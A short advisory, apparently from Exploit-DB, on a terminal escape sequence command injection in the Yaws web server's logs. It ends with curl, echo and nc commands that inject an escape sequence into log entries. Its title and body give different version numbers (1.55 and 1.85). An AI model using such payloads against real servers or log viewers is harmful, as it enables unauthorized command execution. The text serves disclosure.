Yaws 1.55 – ‘Logs’ Terminal Escape Sequence Command Injection

  • 作者: evilaliv3
    日期: 2010-01-11
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/33502/
  • source: https://www.securityfocus.com/bid/37716/info
    
    Yaws is prone to a command-injection vulnerability because it fails to adequately sanitize user-supplied input in logfiles.
    
    Attackers can exploit this issue to execute arbitrary commands in a terminal.
    
    Yaws 1.85 is vulnerable; other versions may also be affected. 
    
    The following example is available:
    
    curl -kis http://www.example.com/%1b%5d%32%3b%6f%77%6e%65%64%07%0a
    echo -en "GET /\x1b]2;owned?\x07\x0a\x0d\x0a\x0d" > payload
    nc localhost 80 < payload